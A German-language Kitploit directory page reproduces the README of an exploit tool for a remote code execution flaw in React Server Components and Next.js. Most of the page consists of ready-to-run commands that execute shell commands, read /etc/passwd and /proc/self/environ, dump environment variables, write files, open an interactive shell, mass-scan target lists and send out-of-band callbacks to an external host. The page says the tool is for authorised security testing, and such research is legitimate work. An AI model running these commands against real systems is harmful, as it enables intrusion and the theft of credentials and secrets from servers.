Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-55182-Exploit-PoC-Scanner — # Exploit-Tool für CVE-2025-55182 und CVE-2025-66478 in React Server Components und Next.js, mit RCE-Gadgets, Datei-Lesen/-Schreiben, OOB-Callbacks und interaktiver Shell für autorisierte Sicherheitstests. | Kitploit
Tools/GitHubGitHub/zemarkhos/cve-2025-55182-exploit-poc-scanner
SchwachstellenscannerDynamische Analyse (Sandboxing)ExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsCommand and ControlLernen & BildungRed Teaming
Payload-Entwicklung
GitHubzemarkhos/cve-2025-55182-exploit-poc-scanner

CVE-2025-55182-Exploit-PoC-Scanner

# Exploit-Tool für CVE-2025-55182 und CVE-2025-66478 in React Server Components und Next.js, mit RCE-Gadgets, Datei-Lesen/-Schreiben, OOB-Callbacks und interaktiver Shell für autorisierte Sicherheitstests.

Repository anzeigen
2113vor 9 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-55182 - React Server Components RCE Exploit v2.0

Ein umfassendes Sicherheitsforschungstool zum Testen der Schwachstellen CVE-2025-55182 und CVE-2025-66478 in React Server Components (RSC) und Next.js Server Actions.

Schwachstellenübersicht

EigenschaftWert
CVE-IDsCVE-2025-55182, CVE-2025-66478
CVSS-Score10.0 (KRITISCH)
Betroffene VersionenReact < 19.2.0, Next.js < 15.0.5
SchwachstellentypRemote Code Execution (RCE)
AngriffsvektorNetzwerk

Funktionen

  • Schwachstellenscan im PortSwigger-Stil mit mehreren Erkennungs-Payloads
  • Mehrere RCE-Gadgets (execSync, spawnSync, vm.runInThisContext, etc.)
  • Out-of-Band (OOB)-Callback-Tests zur Verifizierung blinder RCE
  • Datei-Lese-/Schreibfunktionen
  • Ausführung von JavaScript-Code
  • Interaktiver Shell-Modus
  • Massenscanning mit Multithreading
  • Proxy-Unterstützung (Burp Suite kompatibel)
  • JSON-/Text-Ausgabeformate

Installation

Anforderungen

pip install requests

Python-Version

  • Python 3.7 oder höher

Schnellstart

# Basic vulnerability check
python3 exploit-custom.py -u https://target.com --check

# Full vulnerability scan (recommended)
python3 exploit-custom.py -u https://target.com --scan

# With proxy (Burp Suite)
python3 exploit-custom.py -u https://target.com --scan -p http://127.0.0.1:8080

# OOB callback test
python3 exploit-custom.py -u https://target.com --oob your-id.oastify.com

# Command execution
python3 exploit-custom.py -u https://target.com --cmd "whoami"

# Interactive shell
python3 exploit-custom.py -u https://target.com --shell

Verwendung

Befehlszeilenargumente

usage: exploit-custom.py [-h] (-u URL | -l URL_LIST) [-p PROXY] [-c COOKIES]
                         [-H HEADER] [-t THREADS] [--timeout TIMEOUT]
                         [--check] [--detect] [--scan] [--test-all]
                         [--oob HOST] [--cmd CMD] [--gadget GADGET]
                         [--read FILE] [--write FILE CONTENT] [--js JS]
                         [--shell] [-o OUTPUT] [-q]

Zielauswahl

ArgumentBeschreibungBeispiel
-u, --urlEinzelne Ziel-URL-u https://target.com
-l, --listDatei mit URLs-l targets.txt

Scan-Modi

ArgumentBeschreibung
--detectNext.js/RSC-Verwendung erkennen
--checkSchneller Schwachstellencheck (Mathetest)
--scanVollständiger Schwachstellenscan (PortSwigger-Stil)
--test-allAlle Gadgets und Erkennungs-Payloads testen

Ausnutzung

ArgumentBeschreibungBeispiel
--cmdShell-Befehl ausführen--cmd "id"
--gadgetGadget zur Verwendung angeben--gadget execSync
--readDatei vom Ziel lesen--read /etc/passwd
--writeDatei auf das Ziel schreiben--write /tmp/test.txt "content"
--jsJavaScript-Code ausführen--js "process.env"
--shellInteraktive Shell starten--shell
--oobOOB-Callback-Host--oob xyz.oastify.com

Verbindungsoptionen

ArgumentBeschreibungBeispiel
-p, --proxyHTTP/HTTPS-Proxy-p http://127.0.0.1:8080
-c, --cookiesCookie-String-c "session=abc123"
-H, --headerZusätzlicher Header (wiederholbar)-H "X-Custom: value"
-t, --threadsAnzahl der Threads für Massenscans-t 20
--timeoutAnfrage-Timeout in Sekunden--timeout 60

Ausgabeoptionen

ArgumentBeschreibung
-o, --outputErgebnisse in Datei speichern (.json oder .txt)
-q, --quietBanner unterdrücken

Scan-Beispiele

Einzelnes Ziel

# Detect Next.js and RSC
python3 exploit-custom.py -u https://target.com --detect

# Quick vulnerability check
python3 exploit-custom.py -u https://target.com --check

# Full scan with all detection payloads
python3 exploit-custom.py -u https://target.com --scan

# Test all gadgets with OOB verification
python3 exploit-custom.py -u https://target.com --test-all --oob xyz.oastify.com

Massenscanning

# Scan multiple targets
python3 exploit-custom.py -l targets.txt --scan -o results.json

# With increased threads
python3 exploit-custom.py -l targets.txt --scan -t 20 -o results.json

# With OOB callbacks
python3 exploit-custom.py -l targets.txt --oob xyz.oastify.com -o results.json

Beispiele zur Ausnutzung

Befehlsausführung

# Using default gadget (execSync)
python3 exploit-custom.py -u https://target.com --cmd "whoami"

# Using specific gadget
python3 exploit-custom.py -u https://target.com --cmd "id" --gadget spawnSync
python3 exploit-custom.py -u https://target.com --cmd "cat /etc/passwd" --gadget execFileSync

Dateioperationen

# Read file
python3 exploit-custom.py -u https://target.com --read /etc/passwd
python3 exploit-custom.py -u https://target.com --read /proc/self/environ

# Write file
python3 exploit-custom.py -u https://target.com --write /tmp/pwned.txt "pwned"

JavaScript-Ausführung

# Get environment variables
python3 exploit-custom.py -u https://target.com --js "JSON.stringify(process.env)"

# Get hostname
python3 exploit-custom.py -u https://target.com --js "require('os').hostname()"

# List directory
python3 exploit-custom.py -u https://target.com --js "require('fs').readdirSync('/')"

Interaktive Shell

python3 exploit-custom.py -u https://target.com --shell

Shell-Befehle:

BefehlBeschreibung
<command>Shell-Befehl ausführen
!read <file>Datei lesen
!write <file> <content>Datei schreiben
!js <code>JavaScript ausführen
!gadget <name>Gadget wechseln
exitShell beenden

Verfügbare Gadgets

RCE-Gadgets

NameModul-IDBeschreibung
execSyncchild_process#execSyncDirekte Ausführung von Shell-Befehlen
execFileSyncchild_process#execFileSyncBinärdatei ausführen
spawnSyncchild_process#spawnSyncProzess mit Argumenten starten
vm_runInThisContextvm#runInThisContextJS im aktuellen Kontext ausführen
vm_runInNewContextvm#runInNewContextJS mit Sandbox-Escape ausführen
vm_runInThisContext_globalvm#runInThisContextÜber global.process ausführen

Datei-Gadgets

NameModul-IDBeschreibung
fs_readFileSyncfs#readFileSyncBeliebige Dateien lesen
fs_writeFileSyncfs#writeFileSyncBeliebige Dateien schreiben

OOB-Gadgets

NameBeschreibung
vm_fetchHTTP-Anfrage über die Fetch-API (Node 18+)
vm_httpHTTP-Anfrage über das http-Modul

Erkennungs-Payloads (CVE-2025-66478)

Der Modus --scan verwendet diese Erkennungs-Payloads im PortSwigger-Stil:

PayloadBeschreibung
property_referenceDurch Doppelpunkte begrenzter Eigenschaftsverweis ["$1:a:a"]
property_reference_v2Alternativer Verweis ["$1:b:b"]
property_reference_constructorKonstruktorzugriff über Eigenschaftsverweis
property_reference_protoProtokettenzugriff über Eigenschaftsverweis
action_ref_vmACTION_REF mit vm#runInThisContext
action_ref_execSyncACTION_REF mit child_process#execSync

OOB-Callback-Methoden

Das Tool unterstützt mehrere OOB-Callback-Methoden:

MethodeBeschreibung
curlHTTP-Anfrage über den curl-Befehl
wgetHTTP-Anfrage über den wget-Befehl
nslookupDNS-Abfrage
pingICMP-Ping
fetchNode.js-Fetch-API
httpNode.js-http-Modul

Ausgabeinterpretation

Terminalfarben

Tool herunterladen